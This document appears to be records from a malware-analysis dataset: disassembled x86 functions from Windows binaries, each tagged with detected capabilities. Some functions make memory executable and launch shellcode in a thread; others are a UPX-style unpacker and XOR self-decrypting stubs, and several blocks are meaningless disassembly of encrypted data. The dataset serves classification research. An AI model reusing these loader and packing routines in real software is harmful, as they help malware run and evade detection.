joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100032c0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1000e018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
dec eax
mov dword [ebp - 0x20], 0
jne 0x1000338c
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1000fa3c], eax
mov ecx, 0x44a16128
lea eax, [ebp - 0x10]
call fcn.10003710
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
add eax, 0x117
mov dword [0x1000fa38], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov ecx, 0x44a16128
lea eax, [ebp - 0x1c]
call fcn.10003710
push eax
call esi
test eax, eax
je 0x1000333b
mov eax, dword [0x1000fa38]
cmp byte [eax], 0
jne 0x1000333b
mov cl, 1
jmp 0x1000333d
xor cl, cl
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
test cl, cl
je 0x1000338b
push edi
push eax
push eax
push eax
push 0x10002580
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [0x1000fa38]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x20]
push ecx
push 0x40
push 1
push esi
call edi
mov ecx, dword [ebp - 0x20]
mov dl, byte [0x1000c450]
lea eax, [ebp - 0x20]
push eax
push ecx
push 1
push esi
mov byte [esi], dl
call edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.10003788
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10003788
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000e018]
jne 0x10003792
repz ret
jmp fcn.10003b84
Function at 0x10007e63
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000e018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100046e1
and dword [ebp - 0x14], 0
cmp dword [0x1000fa24], 0
mov dword [ebp - 0x18], eax
jne 0x10007f16
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10007fbe
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10007fbe
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000fa24], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000fa28], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000fa2c], eax
call edi
push eax
call esi
mov dword [0x1000fa34], eax
test eax, eax
je 0x10007f16
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000fa30], eax
mov eax, dword [0x1000fa30]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10007f6f
cmp dword [0x1000fa34], ecx
je 0x10007f6f
push eax
call esi
push dword [0x1000fa34]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10007f6f
test ebx, ebx
je 0x10007f6f
call edi
test eax, eax
je 0x10007f66
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10007f66
test byte [ebp - 8], 1
jne 0x10007f6f
or dword [ebp + 0x10], 0x200000
jmp 0x10007fa2
mov eax, dword [0x1000fa28]
cmp eax, dword [ebp - 0x18]
je 0x10007fa2
push eax
call esi
test eax, eax
je 0x10007fa2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10007fa2
mov eax, dword [0x1000fa2c]
cmp eax, dword [ebp - 0x18]
je 0x10007fa2
push eax
call esi
test eax, eax
je 0x10007fa2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000fa24]
call esi
test eax, eax
je 0x10007fbe
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10007fc0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10003788
leave
ret
Function at 0x40d1c7
Capabilities:
Encode data using xor

Disassembly:
push esi
out 0xd1, eax
mov bl, 0x58
outsd dx, dword [esi]
adc dword [ebp - 0x51f654ef], ebp
popfd
out 0x5b, eax
out 0xdd, eax
jmp 0x40d0d6
pushfd
fnstsw word [edi]
xchg edx, eax
popfd
xchg edi, eax
xchg byte [ecx + ebx*2], bl
mov ecx, 0x3bdd1d11
jno 0x40d1b8
push ebx
adc al, 0x47
je 0x40d0e2
mov ebx, dword [ecx + 0x456bb472]
notrack jmp 0x6470c000
sub eax, 0x394d0d6b
sbb al, 0x3f
push ss
sbb dword [esi - 0x49], ebx
sub ebx, ecx
mov edx, 0x7a6f0c9b
wait
or al, 0x6f
jp 0x40d208
cmp byte [ebp + 0x553d1df3], 0xcd
int 0xf7
mov esp, 0x89019133
imul edx, ebx, 0x6e
pop edx
idiv dword [ebx + esi + 0x6b890191]
shr dword [esi + 0x5a], cl
mov al, 0x5f
push eax
ror dword [ebx], cl
adc al, 0x8c
push eax
xor byte [edx + 0x54], bh
sal byte [ecx + 0x6ddbbd3b], cl
sbb esi, ecx
jb 0x40d1d3
inc ebx
push ds
shr byte [esi + 0x1f], 1
invalid

Function at 0x4179bf
Capabilities:
Encrypt data using rc4 prga

Disassembly:
out dx, eax
xor eax, 0x732c0992
jle 0x417a3e
out 0xba, al
adc dl, byte [ecx]
aam 0x9a
mov esp, 0xbfaa0252
mov dl, 0xa8
mov edx, ebx
leave
or cl, al
ljmp 0x8ad2

Function at 0x417a10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov cl, byte [0x4c1046]
sub esp, 0x620
mov al, cl
push ebx
mov bl, byte [0x4c1045]
and al, bl
push ebp
mov ebp, dword [0x4c1034]
xor al, 0x5f
pop edi
mov byte [0x4c1045], al
mov eax, dword [0x4c1030]
adc byte [eax + eax - 0x75], cl
invalid
and eax, 8

Function at 0x417a3f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
adc byte [eax + eax - 0x75], cl
rol byte [ebx - 0x153ef720], 1
shr edx, 5
and ebp, edx
xor edx, edx

Function at 0x417a77
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x417b6d

Function at 0x417a87
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0x2a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x417aa5
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x620
ret 8
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call ebx
mov cl, byte [0x4c1042]
or eax, 0x4c1042
push ebp
mov dword [esp + 0x18], eax
mov al, byte [0x4c104f]
xor cl, al
mov byte [0x4c1042], cl
mov cl, byte [0x4c1040]
or cl, 0xc
shr cl, 2
and ecx, 0xff
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
adc al, 0xdc
cmp eax, 0x4c49c8
fadd qword [0x4c49c0]
fstp qword [0x4c49c8]
call ebx
cmp dword [esp + 0x14], eax
invalid
jne 0x417b6d
mov ebx, dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
lea edx, [esp + 0x220]
Function at 0x450027
Capabilities:
Encode data using xor

Disassembly:
push ss
mov cl, 0x2a
invalid
mov byte [ebp + 0x7faa7e6a], bl
jnp 0x450003
cwde
loopne 0x45007e
mov word [eax + edx*4 - 0x673bdffa], ss
inc ebx
sub esp, dword [ecx]
sub bh, al
pop ebp
xchg edi, eax
dec ebx
imul edi, esp, 0xffffff80
loopne 0x45006c
add byte [esi], ch
add dword [edi - 0x3c], esi
sti
stosb byte es:[edi], al
or ecx, dword [ecx - 0x783212f9]
pop es
sbb byte [ebx - 0x80], bh
pop ss
pop esp
inc ecx
mov esp, 0xffc1d366
sub dh, byte [ebx + 0x54]
or al, 0x82
mov al, 0x86
les ecx, [ecx - 0x21]
pop ss
cdq
xchg ecx, ebp
movsd dword es:[edi], dword [esi]
jl 0x45001f
mov byte ss:[0x820700ef], al

Function at 0x464cd7
Capabilities:
Encode data using xor

Disassembly:
sub ch, byte [edi + 0x60]
jecxz 0x464d15
xor al, 0x1f
dec edx
wait
cmp eax, 0xe88e1a24
wait
xchg esi, eax
adc byte [eax + ecx*8], dl
fisubr word [ebx - 0x1c]
movsb byte es:[edi], byte [esi]
xor esp, ebp
sub ecx, dword [edx]
sbb dword [ebx + edi*8 - 0x3b8d042e], ebx
xchg edx, eax
xor al, 0x19
outsb dx, byte [esi]
jae 0x464cfc
mov al, byte [0x8fe6e73d]
lodsd eax, dword [esi]
outsd dx, dword [esi]
sbb eax, 0x663ce656
or al, 0xa6
fild dword [edi + 0x7ffd970f]
aas
enter 0xffffffffffffb61b, 0xffffffffffffffff
pop es
imul ebx, edi, 0x73
mov cl, 0x74
idiv ch
iretd

Function at 0x4b95e1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c13d8
cmp edx, dword [eax]
je 0x4b9603
add eax, 8
inc ecx
cmp eax, 0x4c1468
jl 0x4b95f4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c13d8]
jne 0x4b9731
mov eax, dword [0x4c5d5c]
cmp eax, 1
je 0x4b970b
test eax, eax
jne 0x4b9634
cmp dword [0x4c1300], 1
je 0x4b970b
cmp edx, 0xfc
je 0x4b9731
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4b966b
lea eax, [ebp - 0x1a4]
push 0x4be968
push eax
call fcn.004b9fc0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004ba450
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4b96ae
lea eax, [ebp - 0x1a4]
push eax
call fcn.004ba450
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4be964
push edi
call fcn.004bc320
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4be948
push eax
call fcn.004b9fc0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004b9fd0
lea eax, [ebp - 0xa0]
push 0x4be944
push eax
call fcn.004b9fd0
push dword [esi + 0x4c13dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004b9fd0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4be91c
push eax
call fcn.004bc294
add esp, 0x2c
pop edi
jmp 0x4b9731
lea eax, [ebp + 8]
lea esi, [esi + 0x4c13dc]
push 0
push eax
push dword [esi]
call fcn.004ba450
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x41e602
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e2a4

Function at 0x41e60d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e433

Function at 0x41ea07
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040f1b0
mov eax, dword [0x47b940]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041d499
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41ea49
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41eba5
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0040e660
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47e150]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041fbd7
mov ecx, dword [esi*4 + 0x47e150]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41eb9e
cmp eax, dword [edi + ecx + 0x24]
jne 0x41eb9e
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41eb9e
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041fbd7
add esp, 0x14
test edx, edx
jl 0x41eb9e
jg 0x41eb14
test eax, eax
jb 0x41eb9e
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41eb9e
jl 0x41eb2e
cmp dword [ebp - 0x1008], eax
ja 0x41eb9e
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41eb4c
test ebx, ebx
je 0x41eb85
cmp ecx, edi
jae 0x41eb85
mov al, byte [ecx]
cmp al, 0xd
jne 0x41eb66
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41eb72
cmp byte [ecx + 1], 0xa
jne 0x41eb72
inc ecx
jmp 0x41eb72
movzx eax, al
movsx eax, byte [eax + 0x47bc00]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41eb4c
cmp edx, ebx
jne 0x41eb4c
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41eba3
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040e647
leave
ret
Function at 0x41f075
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47e150]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41f0b5
cmp byte [ebx], 0xa
jne 0x41f0b5
or byte [eax + edi + 0x28], 4
jmp 0x41f0ba
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41f1b8
mov al, byte [edx]
cmp al, 0x1a
je 0x41f19a
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41f0e9
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41f10e
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41f118
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41f0cb
jmp 0x41f1b8
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41f195
cmp dword [ebp - 0xc], 0
je 0x41f195
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47e150]
test byte [eax + edi + 0x28], 0x48
je 0x41f16f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41f15a
mov byte [esi], dl
jmp 0x41f16b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47e150]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41f1b8
cmp byte [ebp - 1], 0xa
jne 0x41f17e
cmp esi, ebx
jne 0x41f17e
mov byte [esi], 0xa
jmp 0x41f1b7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041fbf5
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41f1b8
mov byte [esi], 0xd
jmp 0x41f1b7
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47e150]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41f1b4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41f1b8
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41f1c1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47e150]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41f204
cmp word [esi], dx
jne 0x41f204
or byte [edi + eax + 0x28], 4
jmp 0x41f209
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41f35c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41f33c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41f24b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41f281
cmp eax, edx
jae 0x41f28d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41f223
jmp 0x41f35c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41f338
cmp dword [ebp - 0x14], 0
je 0x41f338
mov eax, dword [ebx*4 + 0x47e150]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41f310
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41f2d9
mov word [esi], cx
jmp 0x41f30c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47e150]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47e150]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47e150]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41f35c
pop ebx
cmp word [ebp - 4], bx
jne 0x41f321
cmp esi, dword [ebp + 0xc]
jne 0x41f321
mov word [esi], bx
jmp 0x41f359
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041fbf5
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41f35c
push 0xd
jmp 0x41f355
mov ecx, dword [ebx*4 + 0x47e150]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41f353
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41f35c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x422ef0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x422f8d
push ebx
push esi
call fcn.00422eb9
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00421b3e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x422f3a
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x422f8c
push edi
push eax
call fcn.0041fdd4
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x422f5a
call fcn.0041c44c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x422f8b
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00421b3e
add esp, 0x20
test eax, eax
jne 0x422f79
push edi
call fcn.0041c44c
jmp 0x422f81
push ebx
call fcn.0041c44c
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x42a700
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42a72d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42a72d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000cc90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000ccbd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000ccbd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x414b70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
jmp 0x414b8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414b91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414b80
mov eax, 1
add ebx, ebx
jne 0x414ba3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414b98
jne 0x414bb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414b98
xor ecx, ecx
sub eax, 3
jb 0x414bc8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414c3a
mov ebp, eax
add ebx, ebx
jne 0x414bd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414be0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414c04
inc ecx
add ebx, ebx
jne 0x414bf0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414be5
jne 0x414c01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414be5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414c24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414c15
jmp 0x414b86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414c24
add edi, ecx
jmp 0x414b86
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414c42
cmp byte [edi], 5
jne 0x414c42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414c47
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414cbf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19be8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19c24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414c74
mov ecx, edi
jns 0x414ca3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19c2c]
or eax, eax
je 0x414cb9
mov dword [ebx], eax
add ebx, 4
jmp 0x414c91
call dword [esi + 0x19c28]
mov ebp, dword [esi + 0x19c30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414cf3
sub esp, 0xffffff80
jmp 0x401150
Function at 0x401020
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x40104e
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401046
cmp al, 0x22
je 0x401046
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x40103a
cmp byte [esi], 0x22
jne 0x40105a
inc esi
jmp 0x40105a
cmp al, 0x20
jbe 0x40105a
mov al, byte [esi + 1]
inc esi
cmp al, 0x20
ja 0x401052
mov al, byte [esi]
test al, al
je 0x40106c
cmp al, 0x20
ja 0x40106c
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x401060
lea eax, [esp + 4]
mov dword [esp + 0x30], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [esp + 0x30], 1
je 0x401091
mov eax, dword [esp + 0x34]
and eax, 0xffff
jmp 0x401096
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219